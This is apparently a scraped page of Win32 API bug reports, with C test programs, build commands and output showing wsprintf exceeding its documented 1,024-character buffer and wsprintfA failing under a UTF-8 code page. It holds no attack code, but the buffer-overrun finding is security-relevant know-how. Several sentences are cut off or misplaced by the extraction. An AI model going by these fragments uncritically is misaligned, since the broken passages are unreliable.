Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000059 alias 'sd' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00007C59 alias 'sd-Arab' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000859 alias 'sd-Arab-PK' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000459 alias 'sd-Deva-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000049 alias 'ta' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000449 alias 'ta-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000849 alias 'ta-LK' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000004A alias 'te' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000044A alias 'te-IN' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000001E alias 'th' exceeds 11
Character count 31 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000041E alias 'th-TH' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x0000045F alias 'tzm-Arab-MA' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000020 alias 'ur' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000820 alias 'ur-IN' exceeds 11
Character count 21 returned for LOCALE_SNATIVEDIGITS of LCID 0x00000420 alias 'ur-PK' exceeds 11
0
            OUCH²: the character count returned from the
            GetLocaleInfoA()
            function exceeds the maximum character counts specified in the
            documentation for the
            LOCALE_SNATIVE*
            constants for multiple
            locales!
         OOPS: contrary to the underlined
            statement of the documentation cited above, the
            GetLocaleInfoA()
            function returns the character count 11 instead of 21 for
            LOCALE_SNATIVEDIGITS
            with Arabic
            locale identifiers
            0x000???01, for example 0x00000001 alias
            MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_DEFAULT), SORT_DEFAULT)
            – it yields the
            ANSI
            ASCII
            digits 0123456789 instead of the Arabic numerals
            ٠١٢٣٤٥٦٧٨٩
            alias U+0660,
            U+0661,
            U+0662,
            U+0663,
            U+0664,
            U+0665,
            U+0666,
            U+0667,
            U+0668 and
            U+0669!
        
LCType parameter which yield native
            character strings, in particular
            LOCALE_S1159
            alias
            LOCALE_SAM,
            LOCALE_S2359
            alias
            LOCALE_SPM,
            LOCALE_SABBREVDAYNAME*,
            LOCALE_SABBREVMONTHNAME*,
            LOCALE_SCURRENCY,
            LOCALE_SDAYNAME*,
            LOCALE_SLONGDATE
            and
            LOCALE_SMONTHNAME*,
            is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
wsprintf()
            states:
        Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.The documentation for the Win32 function[…]
[…]int wsprintf( [out] LPTSTR lpOut, [in] LPCTSTR lpFmt, ... );
[out] lpOutThe buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
[…]
If the function succeeds, the return value is the number of characters stored in the buffer, not counting the terminating null character.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning - Pad the output with blanks or zeros to the right to fill the field width, justifying output to the left. If this field is omitted, the output is padded to the left, justifying it to the right. # Prefix hexadecimal values with 0x (lowercase) or 0X (uppercase). 0 Pad the output value with zeros to fill the field width. If this field is omitted, the output value is padded with blank spaces. width Copy the specified minimum number of characters to the output buffer. The width field is a nonnegative integer. The width specification never causes a value to be truncated; if the number of characters in the output value is greater than the specified width, or if the width field is not present, all characters of the value are printed, subject to the precision specification. .precision For numbers, copy the specified minimum number of digits to the output buffer. If the number of digits in the argument is less than the specified precision, the output value is padded on the left with zeros. The value is not truncated when the number of digits exceeds the specified precision. If the specified precision is 0 or omitted entirely, or if the period (.) appears without a number following it, the precision is set to 1. For strings, copy the specified maximum number of characters to the output buffer.
type Output the corresponding argument as a character, a string, or a number. […] 
wvsprintf()
            states:
        Writes formatted data to the specified buffer using a pointer to a list of arguments. The items pointed to by the argument list are converted and copied to an output buffer according to the corresponding format specification in the format-control string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.OUCH⁰: the[…]
[…]int wvsprintf( [out] LPTSTR lpOut, [in] LPCTSTR lpFmt, [in] va_list arglist );
[out] lpOutThe buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
[…]
If the function succeeds, the return value is the number of characters stored in the buffer, not counting the terminating null character.
-Wforms of both functions output but wide characters instead of bytes!
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szBlunder[1025];
	INT	niBlunder;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		szBlunder[1024] = L'€';
#ifndef BLUNDER
		niBlunder = wsprintf(szBlunder, L"%01025x", 0xDEADBEEF);
#elif BLUNDER == 1
		niBlunder = wsprintf(szBlunder, L"%01025d", -123456789);
#else
		niBlunder = wsprintf(szBlunder, L"%1025c", L'€');
#endif
		if ((niBlunder > 0) && (szBlunder[niBlunder] == L'\0'))
		{
			szBlunder[niBlunder++] = L'\n';
			if (!WriteConsole(hError, szBlunder, niBlunder, &dwError, NULL))
				dwError = GetLastError();
			else
				if (dwError != niBlunder)
					dwError = ERROR_WRITE_FAULT;
				else
					dwError = 1 - niBlunder;
		}
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
feebdaed00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1024OUCH¹: contrary to the highlighted statement of its documentation cited above, the Win32 function
wsprintf()
            writes 1,024 NUL to its output
            buffer – an output buffer of only 1,024  OUCH²: instead to return 0 due to the field
            width exceeding the (maximum) output string size it returns the
            first 1,024 bytes (wide) characters of the
            reversed output string!
        
 Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
9876543210000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1024OUCH³: instead to return 0 due to the field width exceeding the (maximum) output string size the
wsprintf()
            function returns the first 1,024  Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1024OUCH⁴: instead to return 0 due to the field width exceeding the (maximum) output string size the
wsprintf()
            function returns the first 1,024 wvsprintf()
            function is left as an exercise to the reader.
        Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
-A vs. -W APIs:
Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.The documentation for the Win32 function
wsprintfA()
            states:
        Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.[…]
[…]int wsprintfA( [out] LPSTR lpOut, [in] LPCSTR lpFmt, ... );
[out] lpOutThe buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
[in] lpFmtThe format-control specifications. In addition to ordinary ASCII characters, a format specification for each argument appears in this string. For more information about the format specification, see the Remarks section.
...One or more optional arguments. The number and type of argument parameters depend on the corresponding format-control specifications in the lpFmt parameter.
[…]
If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
If the function fails, the return value is less than the length of the expected output. To get extended error information, call GetLastError.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values. 
- […]
- ls, lS
- String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to ws.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define memset	__stosb
#define wmemset	__stosw
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	WCHAR	szWide[1025];
	CHAR	szANSI[1025];
	CHAR	szBlunder[1025];
	INT	niBlunder;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		wmemset(szWide, L'€', 1024);
		szWide[1024] = L'\0';
		memset(szANSI, '€', 1024);
		szANSI[1024] = '\0';
		SetLastError(~0UL);
		niBlunder = wsprintfA(szBlunder, "%ls", szWide);
		if (niBlunder != 1024)
			PrintConsole(hError,
			             L"wsprintfA() returned %d\n"
			             L"GetLastError() returned %lu\n",
			             niBlunder, dwError = GetLastError());
		else if (strcmp(szBlunder, szANSI) == 0)
			PrintConsole(hError,
			             L"wsprintfA() returned the correct string of %d \'%hc\' characters\n",
			             niBlunder, *szBlunder);
		else
			PrintConsole(hError,
			             L"wsprintfA() returned a different string \'%hs\' of %d characters\n",
			             szBlunder, niBlunder);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/Gs8192 /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. to demonstrate the legacy behaviour:
        
.\blunder.exe
wsprintfA() returned the correct string of 1023 '€' characters
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 5. for
            code page
            65001 alias CP_UTF8 to demonstrate the blunder:
        
VER .\blunder.exe
Microsoft Windows [Version 10.0.22621.1105]
wsprintfA() returned 0
GetLastError() returned 4294967295
            OUCH¹: contrary to the highlighted statement
            of the first documentation cited above, existing code but
            fails when the
            ANSI
            code page
            is configured for
            UTF-8!
         OUCH²: contrary to the last highlighted
            statement of its documentation cited above, the Win32
            function
            wsprintfA()
            fails to set the Win32 error code upon failure!
        
wsprintfA()
            states:
        Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.[…]
[…]int wsprintfA( [out] LPSTR lpOut, [in] LPCSTR lpFmt, ... );If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … .precision […] For strings, copy the specified maximum number of characters to the output buffer.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define CP1252	L"€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ"
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	CHAR	szANSI[4];
	INT	niANSI;
	CHAR	szBlunder[4];
	INT	niBlunder;
	DWORD	dwWide = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (WideCharToMultiByte(CP_ACP,
		                        WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
		                        CP1252, sizeof(CP1252) / sizeof(*CP1252),
		                        (LPSTR) NULL, 0,
		                        (LPCCH) NULL, (LPBOOL) NULL) == 0)
			PrintConsole(hError,
			             L"WideCharToMultiByte() returned error %lu\n",
			             dwError = GetLastError());
		else
			do
			{
				niANSI = WideCharToMultiByte(CP_ACP,
				                             WC_COMPOSITECHECK | WC_DEFAULTCHAR | WC_NO_BEST_FIT_CHARS,
				                             CP1252 + dwWide, 1,
				                             szANSI, sizeof(szANSI) - 1,
				                             (LPCCH) NULL, (LPBOOL) NULL);
				if (niANSI == 0)
					PrintConsole(hError,
					             L"WideCharToMultiByte() returned error %lu for wide character U+%04hX\n",
					             dwError = GetLastError(), CP1252[dwWide]);
				else
				{
					szANSI[niANSI++] = '\0';
#if 0
					niBlunder = wsprintfA(szBlunder, "%lc", CP1252[dwWide]);
#else
					niBlunder = wsprintfA(szBlunder, "%.1ls", CP1252 + dwWide);
#endif
					if (niBlunder == 0)
						PrintConsole(hError,
						             L"wsprintfA() returned error %lu for wide character \'%lc\' (U+%04hX)\n",
						             dwError = GetLastError(), CP1252[dwWide], CP1252[dwWide]);
					else
					{
						if (niBlunder > 1)
							PrintConsole(hError,
							             L"wsprintfA() returned string \'%hs\' of %d characters for wide character \'%lc\' (U+%04hX)\n",
							             szBlunder, niBlunder, CP1252[dwWide], CP1252[dwWide]);
						if (memcmp(szBlunder, szANSI, niANSI) != 0)
							PrintConsole(hError,
							             L"wsprintfA() returned different string \'%hs\' of %d characters for wide character \'%lc\' (U+%04hX)\n",
							             szBlunder, niBlunder, CP1252[dwWide], CP1252[dwWide]);
					}
				}
			}
			while (++dwWide < sizeof(CP1252) / sizeof(*CP1252) - 1);
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. to show the legacy behaviour:
        
.\blunder.exe
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly>application is (at least) clumsy and error-prone!
         Embed the
            application manifest
            blunder.xml created in step 4. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /MANIFEST blunder.xml /OUTPUTRESOURCE:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe configured
            in step 5. for
            code page
            65001 alias CP_UTF8 to demonstrate the blunder:
        
VER .\blunder.exe
Microsoft Windows [Version 10.0.22621.1105] wsprintfA() returned string '€' of 3 characters for wide character '€' (U+20AC) wsprintfA() returned string '‚' of 3 characters for wide character '‚' (U+201A) wsprintfA() returned string 'ƒ' of 2 characters for wide character 'ƒ' (U+0192) wsprintfA() returned string '„' of 3 characters for wide character '„' (U+201E) wsprintfA() returned string '…' of 3 characters for wide character '…' (U+2026) wsprintfA() returned string '†' of 3 characters for wide character '†' (U+2020) wsprintfA() returned string '‡' of 3 characters for wide character '‡' (U+2021) wsprintfA() returned string 'ˆ' of 2 characters for wide character 'ˆ' (U+02C6) wsprintfA() returned string '‰' of 3 characters for wide character '‰' (U+2030) wsprintfA() returned string 'Š' of 2 characters for wide character 'Š' (U+0160) wsprintfA() returned string '‹' of 3 characters for wide character '‹' (U+2039) wsprintfA() returned string 'Œ' of 2 characters for wide character 'Œ' (U+0152) wsprintfA() returned string 'Ž' of 2 characters for wide character 'Ž' (U+017D) wsprintfA() returned string '‘' of 3 characters for wide character '‘' (U+2018) wsprintfA() returned string '’' of 3 characters for wide character '’' (U+2019) wsprintfA() returned string '“' of 3 characters for wide character '“' (U+201C) wsprintfA() returned string '”' of 3 characters for wide character '”' (U+201D) wsprintfA() returned string '•' of 3 characters for wide character '•' (U+2022) wsprintfA() returned string '–' of 3 characters for wide character '–' (U+2013) wsprintfA() returned string '—' of 3 characters for wide character '—' (U+2014) wsprintfA() returned string '˜' of 2 characters for wide character '˜' (U+02DC) wsprintfA() returned string '™' of 3 characters for wide character '™' (U+2122) wsprintfA() returned string 'š' of 2 characters for wide character 'š' (U+0161) wsprintfA() returned string '›' of 3 characters for wide character '›' (U+203A) wsprintfA() returned string 'œ' of 2 characters for wide character 'œ' (U+0153) wsprintfA() returned string 'ž' of 2 characters for wide character 'ž' (U+017E) wsprintfA() returned string 'Ÿ' of 2 characters for wide character 'Ÿ' (U+0178) wsprintfA() returned string ' ' of 2 characters for wide character ' ' (U+00A0) wsprintfA() returned string '¡' of 2 characters for wide character '¡' (U+00A1) wsprintfA() returned string '¢' of 2 characters for wide character '¢' (U+00A2) wsprintfA() returned string '£' of 2 characters for wide character '£' (U+00A3) wsprintfA() returned string '¤' of 2 characters for wide character '¤' (U+00A4) wsprintfA() returned string '¥' of 2 characters for wide character '¥' (U+00A5) wsprintfA() returned string '¦' of 2 characters for wide character '¦' (U+00A6) wsprintfA() returned string '§' of 2 characters for wide character '§' (U+00A7) wsprintfA() returned string '¨' of 2 characters for wide character '¨' (U+00A8) wsprintfA() returned string '©' of 2 characters for wide character '©' (U+00A9) wsprintfA() returned string 'ª' of 2 characters for wide character 'ª' (U+00AA) wsprintfA() returned string '«' of 2 characters for wide character '«' (U+00AB) wsprintfA() returned string '¬' of 2 characters for wide character '¬' (U+00AC) wsprintfA() returned string '' of 2 characters for wide character '' (U+00AD) wsprintfA() returned string '®' of 2 characters for wide character '®' (U+00AE) wsprintfA() returned string '¯' of 2 characters for wide character '¯' (U+00AF) wsprintfA() returned string '°' of 2 characters for wide character '°' (U+00B0) wsprintfA() returned string '±' of 2 characters for wide character '±' (U+00B1) wsprintfA() returned string '²' of 2 characters for wide character '²' (U+00B2) wsprintfA() returned string '³' of 2 characters for wide character '³' (U+00B3) wsprintfA() returned string '´' of 2 characters for wide character '´' (U+00B4) wsprintfA() returned string 'µ' of 2 characters for wide character 'µ' (U+00B5) wsprintfA() returned string '¶' of 2 characters for wide character '¶' (U+00B6) wsprintfA() returned string '·' of 2 characters for wide character '·' (U+00B7) wsprintfA() returned string '¸' of 2 characters for wide character '¸' (U+00B8) wsprintfA() returned string '¹' of 2 characters for wide character '¹' (U+00B9) wsprintfA() returned string 'º' of 2 characters for wide character 'º' (U+00BA) wsprintfA() returned string '»' of 2 characters for wide character '»' (U+00BB) wsprintfA() returned string '¼' of 2 characters for wide character '¼' (U+00BC) wsprintfA() returned string '½' of 2 characters for wide character '½' (U+00BD) wsprintfA() returned string '¾' of 2 characters for wide character '¾' (U+00BE) wsprintfA() returned string '¿' of 2 characters for wide character '¿' (U+00BF) wsprintfA() returned string 'À' of 2 characters for wide character 'À' (U+00C0) wsprintfA() returned string 'Á' of 2 characters for wide character 'Á' (U+00C1) wsprintfA() returned string 'Â' of 2 characters for wide character 'Â' (U+00C2) wsprintfA() returned string 'Ã' of 2 characters for wide character 'Ã' (U+00C3) wsprintfA() returned string 'Ä' of 2 characters for wide character 'Ä' (U+00C4) wsprintfA() returned string 'Å' of 2 characters for wide character 'Å' (U+00C5) wsprintfA() returned string 'Æ' of 2 characters for wide character 'Æ' (U+00C6) wsprintfA() returned string 'Ç' of 2 characters for wide character 'Ç' (U+00C7) wsprintfA() returned string 'È' of 2 characters for wide character 'È' (U+00C8) wsprintfA() returned string 'É' of 2 characters for wide character 'É' (U+00C9) wsprintfA() returned string 'Ê' of 2 characters for wide character 'Ê' (U+00CA) wsprintfA() returned string 'Ë' of 2 characters for wide character 'Ë' (U+00CB) wsprintfA() returned string 'Ì' of 2 characters for wide character 'Ì' (U+00CC) wsprintfA() returned string 'Í' of 2 characters for wide character 'Í' (U+00CD) wsprintfA() returned string 'Î' of 2 characters for wide character 'Î' (U+00CE) wsprintfA() returned string 'Ï' of 2 characters for wide character 'Ï' (U+00CF) wsprintfA() returned string 'Ð' of 2 characters for wide character 'Ð' (U+00D0) wsprintfA() returned string 'Ñ' of 2 characters for wide character 'Ñ' (U+00D1) wsprintfA() returned string 'Ò' of 2 characters for wide character 'Ò' (U+00D2) wsprintfA() returned string 'Ó' of 2 characters for wide character 'Ó' (U+00D3) wsprintfA() returned string 'Ô' of 2 characters for wide character 'Ô' (U+00D4) wsprintfA() returned string 'Õ' of 2 characters for wide character 'Õ' (U+00D5) wsprintfA() returned string 'Ö' of 2 characters for wide character 'Ö' (U+00D6) wsprintfA() returned string '×' of 2 characters for wide character '×' (U+00D7) wsprintfA() returned string 'Ø' of 2 characters for wide character 'Ø' (U+00D8) wsprintfA() returned string 'Ù' of 2 characters for wide character 'Ù' (U+00D9) wsprintfA() returned string 'Ú' of 2 characters for wide character 'Ú' (U+00DA) wsprintfA() returned string 'Û' of 2 characters for wide character 'Û' (U+00DB) wsprintfA() returned string 'Ü' of 2 characters for wide character 'Ü' (U+00DC) wsprintfA() returned string 'Ý' of 2 characters for wide character 'Ý' (U+00DD) wsprintfA() returned string 'Þ' of 2 characters for wide character 'Þ' (U+00DE) wsprintfA() returned string 'ß' of 2 characters for wide character 'ß' (U+00DF) wsprintfA() returned string 'à' of 2 characters for wide character 'à' (U+00E0) wsprintfA() returned string 'á' of 2 characters for wide character 'á' (U+00E1) wsprintfA() returned string 'â' of 2 characters for wide character 'â' (U+00E2) wsprintfA() returned string 'ã' of 2 characters for wide character 'ã' (U+00E3) wsprintfA() returned string 'ä' of 2 characters for wide character 'ä' (U+00E4) wsprintfA() returned string 'å' of 2 characters for wide character 'å' (U+00E5) wsprintfA() returned string 'æ' of 2 characters for wide character 'æ' (U+00E6) wsprintfA() returned string 'ç' of 2 characters for wide character 'ç' (U+00E7) wsprintfA() returned string 'è' of 2 characters for wide character 'è' (U+00E8) wsprintfA() returned string 'é' of 2 characters for wide character 'é' (U+00E9) 